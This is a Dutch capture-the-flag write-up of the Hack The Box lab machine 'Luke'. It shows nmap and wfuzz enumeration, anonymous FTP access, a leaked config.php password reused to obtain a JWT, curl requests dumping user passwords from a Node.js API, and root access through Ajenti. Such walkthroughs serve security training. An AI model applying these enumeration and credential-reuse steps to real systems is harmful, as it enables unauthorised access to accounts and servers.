Korte samenvatting
Hallo, Luke is met pensioen en hier is mijn artikel over hem. Het was een eenvoudige machine, het enige wat je hoeft te doen is goed opsommen en je zult vinden wat je nodig hebt. Het is een FreeBSD-box en zijn IP is 10.10.10.137
, ik heb het toegevoegd aan /etc/hosts
als luke.htb
. Laten we er meteen in springen!
nmap
Zoals altijd zullen we beginnen met nmap
om te scannen op open poorten en services:
root@kali:~/htb/luke# nmap -sV -sT -sC luke.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-05 05:14 EST Nmap scan report for luke.htb (10.10.10.137) Host is up (0.088s latency). Not shown: 995 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3+ (ext.1) | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.16.70 | Logged in as ftp | TYPE: ASCII | No session upload bandwidth limit | No session download bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 1 | vsFTPd 3.0.3+ (ext.1) - secure, fast, stable |_End of status 22/tcp open ssh? |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) 80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3 |_http-title: Luke 3000/tcp open http Node.js Express framework |_http-title: Site doesn't have a title (application/json; charset=utf-8). 8000/tcp open http Ajenti http control panel |_http-title: Ajenti Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 184.54 seconds
We hebben ftp
op poort 21, http
op poorten 80, 3000, 8000 en ssh
. Uit de http-title
we zien dat er op poort 3000 een node.js
applicatie is en Ajenti Administration Panel
op poort 8000. Laten we eerst even kijken naar ftp
voordat we de webservices controleren.
FTP
Anonieme login was toegestaan, er was maar één map genaamd webapp
die een tekstbestand had met de naam for_Chihiro.txt
:
root@kali:~/htb/luke# ftp luke.htb Connected to luke.htb. 220 vsFTPd 3.0.3+ (ext.1) ready... Name (luke.htb:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp 226 Directory send OK. ftp> cd webapp 250 Directory successfully changed. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -r-xr-xr-x 1 0 0 306 Apr 14 2019 for_Chihiro.txt 226 Directory send OK. ftp> get for_Chihiro.txt local: for_Chihiro.txt remote: for_Chihiro.txt 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes). 226 Transfer complete. 306 bytes received in 0.00 secs (5.1197 MB/s)
for_Chihiro.txt
:
Dear Chihiro !! As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of the actual website I've created . Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! Derry
Uit deze notitie halen we twee potentiële gebruikersnamen: Chihiro
en Derry
.
Nu we ook weten dat we ergens een aantal bronbestanden kunnen vinden, laten we eens kijken naar de webservices.
Webtelling, gebruikers- en rootvlaggen
Op poort 80 was er deze eenvoudige website:
Niets was echt interessant, dus ik heb mappen en pagina’s bruteforced met wfuzz
:
root@kali:~/htb/luke# wfuzz -c --hc 404 -u http://luke.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan' libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan' ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://luke.htb/FUZZ Total requests: 4614 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000001: 200 108 L 240 W 3138 Ch "" 000000011: 403 9 L 24 W 213 Ch ".hta" 000000012: 403 9 L 24 W 218 Ch ".htaccess" 000000013: 403 9 L 24 W 218 Ch ".htpasswd" 000001114: 301 7 L 20 W 228 Ch "css" 000002020: 200 108 L 240 W 3138 Ch "index.html" 000002179: 301 7 L 20 W 227 Ch "js" 000002282: 200 21 L 172 W 1093 Ch "LICENSE" 000002435: 401 12 L 46 W 381 Ch "management" 000002485: 301 7 L 20 W 231 Ch "member" 000004286: 301 7 L 20 W 231 Ch "vendor" Total time: 30.23714 Processed Requests: 4614 Filtered Requests: 4603 Requests/sec.: 152.5937
root@kali:~/htb/luke# wfuzz -c --hc 404 -u http://luke.htb/FUZZ.php -w /usr/share/wordlists/dirb/common.txt
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan'
libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan'
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://luke.htb/FUZZ.php
Total requests: 4614
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000011: 403 9 L 24 W 217 Ch ".hta"
000000012: 403 9 L 24 W 222 Ch ".htaccess"
000000013: 403 9 L 24 W 222 Ch ".htpasswd"
000000994: 200 6 L 25 W 202 Ch "config"
000002347: 200 39 L 118 W 1593 Ch "login"
Total time: 30.77603
Processed Requests: 4614
Filtered Requests: 4609
Requests/sec.: 149.9218
We hebben /management
, /member
, /login.php
en /config.php
. Ik heb eerst config.php
gecontroleerd:
$dbHost = 'localhost' ; $dbUsername = 'root' ; $dbPassword = 'Zk6heYCyv6ZE9Xcg' ; $db = "login" ; $conn = new mysqli ( $dbHost , $dbUsername , $dbPassword , $db ) or die ( "Connect failed: %s \n " . $conn -> error );
Geweldig, we hebben database-inloggegevens, ik heb geprobeerd metssh
, maar het werkte niet.
/login.php
:
Ook de referenties werkten hier niet.
/management
:
Het maakt gebruik van http
basisverificatie. Ik heb geprobeerd in te loggen, maar de referenties werkten niet.
/member
was gewoon leeg:
Op poort 8000 is er Ajenti
:
Ajenti: een hulpmiddel voor beheerders voor een meer geciviliseerde leeftijd, waarmee u op elk gewenst moment een snelle en veilige manier hebt om een externe Linux-box te beheren met behulp van alledaagse hulpmiddelen zoals een webterminal, teksteditor, bestandsbeheer en andere. – ajenti.org
Ajenti
biedt een terminal, dus als we Ajenti
kunnen bereiken, hebben we een shell. De referenties werkten hier echter ook niet:
Het enige dat nog over is, is de toepassing node.js
, die JWT
tokens gebruikt voor authenticatie:
root@kali:~/htb/luke# curl http://luke.htb:3000/ {"success":false,"message":"Auth token is not supplied"}
Ik heb dat foutbericht gegoogeld en dit artikel op medium gevonden: een handleiding voor het toevoegen van op JWT token gebaseerde authenticatie aan uw Node.js-toepassingen met één pagina .
Ik heb de applicatie gefuzzed om te verifiëren dat het eindpunt /login
bestaat:
root@kali:~/htb/luke# wfuzz -c --hc 404 -u http://luke.htb:3000/FUZZ -w /usr/share/wordlists/dirb/common.txt Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/shodanp.py Exception, msg=No module named 'shodan' libraries.FileLoader: CRITICAL __load_py_from_file. Filename: /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/bing.py Exception, msg=No module named 'shodan' ******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://luke.htb:3000/FUZZ Total requests: 4614 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000001: 200 0 L 5 W 56 Ch "" 000002347: 200 0 L 2 W 13 Ch "login" 000002348: 200 0 L 2 W 13 Ch "Login" 000004245: 200 0 L 5 W 56 Ch "users" Total time: 30.93962 Processed Requests: 4614 Filtered Requests: 4610 Requests/sec.: 149.1291
/login
bestaat en er is ook een ander eindpunt genaamd /users
dat ook zonder authenticatie niet toegankelijk is:
root@kali:~/htb/luke# curl http://luke.htb:3000/users {"success":false,"message":"Auth token is not supplied"}
Ik heb geprobeerd in te loggen met de inloggegevens, maar het is mislukt:
root@kali:~/htb/luke# curl --header "Content-Type: application/json" --request POST --data '{"password":"Zk6heYCyv6ZE9Xcg","username":"root"}' http://luke.htb:3000/login Forbidden
Dus ik probeerde dezelfde gebruikersnaam uit het artikel ( admin
) in plaats van root
en het werkte:
root@kali:~/htb/luke# curl --header "Content-Type: application/json" --request POST --data '{"password":"Zk6heYCyv6ZE9Xcg","username":"admin"}' http://luke.htb:3000/login ;echo
{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw"}
Nu hebben we toegang tot de applicatie met ons token:
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/ {"message":"Welcome admin ! "}
/users
een lijst met deze gebruikers geretourneerd:
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 181 100 181 0 0 1124 0 --:--:-- --:--:-- --:--:-- 1131 [ { "ID": "1", "name": "Admin", "Role": "Superuser" }, { "ID": "2", "name": "Derry", "Role": "Web Admin" }, { "ID": "3", "name": "Yuri", "Role": "Beta Tester" }, { "ID": "4", "name": "Dory", "Role": "Supporter" } ]
Na verschillende dingen geprobeerd te hebben, onthulde /users/username
meer informatie over elke gebruiker:
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/admin | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 45 100 45 0 0 286 0 --:--:-- --:--:-- --:--:-- 294 { "name": "Admin", "password": "WX5b7)>/rp$U)FW"
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/derry | jq % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 46 100 46 0 0 289 0 --:--:-- --:--:-- --:--:-- 289 { "name": "Derry", "password": "rZ86wwLvx7jUxtch"
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/yuri | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 41 100 41 0 0 257 0 --:--:-- --:--:-- --:--:-- 259
{
"name": "Yuri",
"password": "bet@tester87"
root@kali:~/htb/luke# curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTc1NTQxNDc5LCJleHAiOjE1NzU2Mjc4Nzl9.ci_ljUrA_ffozkT-OPQOt2B5KkLX8qm9MczidXqAMqw' http://luke.htb:3000/users/dory | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 44 100 44 0 0 291 0 --:--:-- --:--:-- --:--:-- 291
{
"name": "Dory",
"password": "5y:!xa=ybfe)/QD"
}
.
Nadat ik deze referenties overal had geprobeerd, kon ik inloggen /management
als Derry
:
Dit zijn de bronbestanden waar Derry
het over had in de notitie die we van de ftp
server kregen. In config.json
vond ik wat dingen gerelateerd aan Ajenti
en ik vond het wachtwoord KpMasng6S5EtTy9Z voor de root
van de gebruiker:
Nu kunnen we een terminal als root
starten en de vlaggen krijgen:
En we bezitten root.
gebruikte referenties :
https://0xrick.github.io/hack-the-box/luke/
Auteur : Jacco Straathof